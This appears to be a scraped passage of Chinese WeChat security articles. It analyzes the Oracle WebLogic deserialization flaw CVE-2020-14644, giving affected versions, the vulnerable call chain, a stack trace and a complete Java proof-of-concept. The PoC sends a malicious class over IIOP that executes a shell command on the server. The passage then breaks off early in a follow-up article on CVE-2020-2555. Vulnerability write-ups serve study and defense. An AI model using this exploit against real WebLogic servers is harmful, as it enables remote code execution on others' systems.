src="https://wechat2rss.xlab.app/img-proxy/?k=483cf49b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUEAJWZqma2LL6pxLaviamCoBwVgTTAZDpvds0N4eRftyriaegxOa4ic9lg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.23981481481481481" style="width: 1384px;height: 332px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6f261b71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUxxZciar2L3V716DbTUuIJ7bEYSCrxKlCUwc4rkH0XcBicRnyGHMia2iazA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2020-14644</span></p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 10.3.6.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.2.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Weblogic 12.2.1.4.0</p></li></ul><p><span style="font-weight: bold;">漏洞分析</span></p><p>主要问题出现在com.tangosol.internal.util.invoke.RemoteConstructor上：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">RemoteConstructor</span><span class="code-snippet__selector-class">.readResolve</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">RemoteConstructor</span><span class="code-snippet__selector-class">.newInstance</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">RemotableSupport</span><span class="code-snippet__selector-class">.realize</span></span></code></pre></section><p>RemotableSupport.realize中存在两个方法调用：</p><p><img class="rich_pages wxw-img" data-ratio="0.4842592592592593" style="width: 1860px;height: 900px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=af868ef1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIU8kicR0Bo2cPJzklzXZDicWDnvV317j5UdAH6gdeaZx5LjvicQakAFRCAQ%2F640%3Fwx_fmt%3Dpng"/></p><p>分别为重载后的defineClass方法：</p><p><img class="rich_pages wxw-img" data-ratio="0.31203703703703706" style="width: 1434px;height: 448px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=941971aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUIU9EpHYPD9BBXYyM5g1Uib0L7vEYibfebgc6DIicW8ibvzBI3qHQr959ww%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=54872f64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUuHwr2LNib7LOtKdwOTbWqzT3jm7y4yXwIFlu7l2MaSkCd99ljeMURsQ%2F640%3Fwx_fmt%3Dpng"/></p><p>与实例化方法：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=73097050&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUUtuhYRz33ECWJibTNroF0kAnIkM9jwp84MjZO9Bvxe5Z64qaaqtKPrQ%2F640%3Fwx_fmt%3Dpng"/></p><p>defineClass的值来自于definition</p><p><img class="rich_pages wxw-img" data-ratio="0.2833333333333333" style="width: 1502px;height: 426px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=77112138&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUcFIgH7Gvko1cdledQia4HicykRo0CdN4kp8v4M6FGQNXBg8y0YRXTNeQ%2F640%3Fwx_fmt%3Dpng"/></p><p>getName()的逻辑如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> String getName() {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.getPackage() + <span class="code-snippet__string">&#34;/&#34;</span> + <span class="code-snippet__keyword">this</span>.getSimpleName();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> String getSimpleName() {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.getBaseName() + <span class="code-snippet__string">&#34;$&#34;</span> + <span class="code-snippet__keyword">this</span>.getVersion();</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>在defineClass时我们的classname需要与传入的字节码保持一致。</p><p>常规的IIOP调用流程，通过反射调用到com.tangosol.internal.util.invoke.RemoteConstructor的readResolve方法：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f86b538a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIULmvP1cCn7yU33eLuPVUibFJxRJGZuEsse3yib3n37jvoVkanpyRrHOeQ%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.internal</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.invoke</span><span class="code-snippet__selector-class">.RemoteConstructor</span><span class="code-snippet__selector-class">.readResolve</span>()<span class="code-snippet__selector-tag">-</span>&gt;<span class="code-snippet__selector-tag">newInstance</span>()<span class="code-snippet__selector-tag">-</span>&gt;<span class="code-snippet__selector-tag">realize</span>()</span></code></pre></section><p>其中registerIfAbsent会根据Id检查是否有已经缓存过的ClassDefinition对象，若存在则不会重新进行defineClass操作：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6dcd1f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUuObgbXd802dIJicarrbRA3JdyV0GZ2ssy481m49ZmKPgibUnQ2HpVdiaw%2F640%3Fwx_fmt%3Dpng"/></p><p>接下来就是上文中分析过的defineClass与createInstance流程：</p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3476845b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUUZibkVaNyBtjOovuBPMYqRwyXF0P8gWGicVsGsDQVRDZySs5hRAmVg4A%2F640%3Fwx_fmt%3Dpng"/></p><p>调用栈：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer"><span class="code-snippet__section">realize:142, RemotableSupport (com.tangosol.internal.util.invoke)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invokeVirtual_L_L:-1, 479734028 (java.lang.invoke.LambdaForm$DMH)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">reinvoke:-1, 1608812768 (java.lang.invoke.LambdaForm$BMH)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke_MT:-1, 223025988 (java.lang.invoke.LambdaForm$MH)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readResolve:202, ObjectStreamClass (weblogic.utils.io)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">readValue:88, ValueHandlerImpl (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:1388, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:1247, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value_internal:230, AnyImpl (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_value:125, AnyImpl (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_any:1000, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">read_any:992, IIOPInputStream (weblogic.iiop)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">_invoke:87, _NamingContextAnyImplBase (weblogic.corba.cos.naming)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:249, CorbaServerRef (weblogic.corba.idl)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">invoke:246, ClusterableServerRef (weblogic.rmi.cluster)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:534, BasicServerRef$2 (weblogic.rmi.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doAs:386, AuthenticatedSubject (weblogic.security.acl.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runAs:163, SecurityManager (weblogic.security.service)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">handleRequest:531, BasicServerRef (weblogic.rmi.internal)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">_runAs:352, ComponentInvocationContextManager (weblogic.invocation)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runAs:337, ComponentInvocationContextManager (weblogic.invocation)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runWorkUnderContext:41, PartitionUtility (weblogic.work)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">execute:420, ExecuteThread (weblogic.work)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">run:360, ExecuteThread (weblogic.work)</span></span></code></pre></section><p>POC如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.ClassDefinition;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.ClassIdentity;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.internal.util.invoke.RemoteConstructor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.CannotCompileException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.ClassPool;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.CtClass;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.NotFoundException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> weblogic.EvilObj;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.Context;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.InitialContext;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.naming.NamingException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Hashtable;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2020_14644</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">IOException</span>, <span class="code-snippet__type">CannotCompileException</span>, <span class="code-snippet__type">NamingException</span>, <span class="code-snippet__type">NotFoundException</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> ip = <span class="code-snippet__string">&#34;127.0.0.1&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> port = <span class="code-snippet__string">&#34;7001&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> rhost = <span class="code-snippet__type">String</span>.format(<span class="code-snippet__string">&#34;iiop://%s:%s&#34;</span>, ip, port);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Hashtable</span>&lt;<span class="code-snippet__type">String</span>, <span class="code-snippet__type">String</span>&gt; env = new <span class="code-snippet__type">Hashtable</span>&lt;<span class="code-snippet__type">String</span>, <span class="code-snippet__type">String</span>&gt;();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// add wlsserver/server/lib/weblogic.jar to classpath,else will error.</span></span></code><code><span class="code-snippet_outer">        env.put(<span class="code-snippet__string">&#34;java.naming.factory.initial&#34;</span>, <span class="code-snippet__string">&#34;weblogic.jndi.WLInitialContextFactory&#34;</span>);</span></code><code><span class="code-snippet_outer">        env.put(<span class="code-snippet__type">Context</span>.<span class="code-snippet__type">PROVIDER_URL</span>, rhost);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Context</span> context = new <span class="code-snippet__type">InitialContext</span>(env);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ClassIdentity</span> classIdentity = new <span class="code-snippet__type">ClassIdentity</span>(<span class="code-snippet__type">EvilObj</span>.<span class="code-snippet__keyword">class</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ClassPool</span> cp = <span class="code-snippet__type">ClassPool</span>.getDefault();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">CtClass</span> ctClass = cp.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__type">EvilObj</span>.<span class="code-snippet__keyword">class</span>.getName());</span></code><code><span class="code-snippet_outer">        ctClass.replaceClassName(<span class="code-snippet__type">EvilObj</span>.<span class="code-snippet__keyword">class</span>.getName(),  <span class="code-snippet__type">EvilObj</span>.<span class="code-snippet__keyword">class</span>.getName() + <span class="code-snippet__string">&#34;$&#34;</span> + classIdentity.getVersion());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">RemoteConstructor</span> constructor = new <span class="code-snippet__type">RemoteConstructor</span>(</span></code><code><span class="code-snippet_outer">                new <span class="code-snippet__type">ClassDefinition</span>(classIdentity, ctClass.toBytecode()),</span></code><code><span class="code-snippet_outer">                new <span class="code-snippet__type">Object</span>[] {}</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 发送 IIOP 协议数据包</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        context.bind(&#34;hello&#34;,new Object());</span></span></code><code><span class="code-snippet_outer">        context.rebind(<span class="code-snippet__string">&#34;hello&#34;</span>,constructor);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//EvilObj.class</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">EvilObj</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__type">EvilObj</span>() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__type">Runtime</span>.getRuntime().exec(<span class="code-snippet__string">&#34;touch /tmp/success222&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (<span class="code-snippet__type">IOException</span> var1) {</span></code><code><span class="code-snippet_outer">            var1.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22314814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=05fe071b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUvWLdMn9Ym5aDEX7ha95eGroVhxumibD99xuojkhSFA7Fl2KybjUvic4A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 26px;">后记</span></p></article><p><br/></p><p><span style="color: rgb(0, 0, 0);">参考：</span></p><p><span style="color: rgb(0, 0, 0);"><a href="https://tttang.com/archive/1800/#toc_cve-2018-3245" target="_blank">https://tttang.com/archive/1800/#toc_cve-2018-3245</a></span></p><p><span style="color: rgb(0, 0, 0);"><a href="https://www.anquanke.com/post/id/225137#h3-1" target="_blank">https://www.anquanke.com/post/id/225137#h3-1</a></span></p><p><span style="color: rgb(0, 0, 0);"><a href="https://xz.aliyun.com/t/2479" target="_blank">https://xz.aliyun.com/t/2479</a></span></p><p><span style="color: rgb(0, 0, 0);"><a href="https://paper.seebug.org/1069/" target="_blank">https://paper.seebug.org/1069/</a></span></p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484325">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=21b71367&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247484325%26idx%3D1%26sn%3Dad53c618b35d6c3241c5e7062eca6f62%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 23 Apr 2023 22:18:00 +0800</pubDate>
    </item>
    <item>
      <title>Weblogic T3协议漏洞分析(二)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247484162&amp;idx=1&amp;sn=caba95bc1d6c5b1977d05b2694102f51</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>深蓝</span> <span>2023-02-18 00:00</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=763a6971&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMfu7iaIXxOLGv3ick5pDbP8HL2sKuy23Xk6TjEObINUes01qfOaH32iaTg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">接上文。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xiyd-1675754010152&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1HS3-1675754010150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;接上文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NBap-1675754011903&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wdd2-1675754011902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C79w-1675754013692&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qODd-1675754013690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;ZTtE-1675754068426&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;zFjP-1675754068427&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;zFjP-1675754068427&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;zFjP-1675754068427&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () 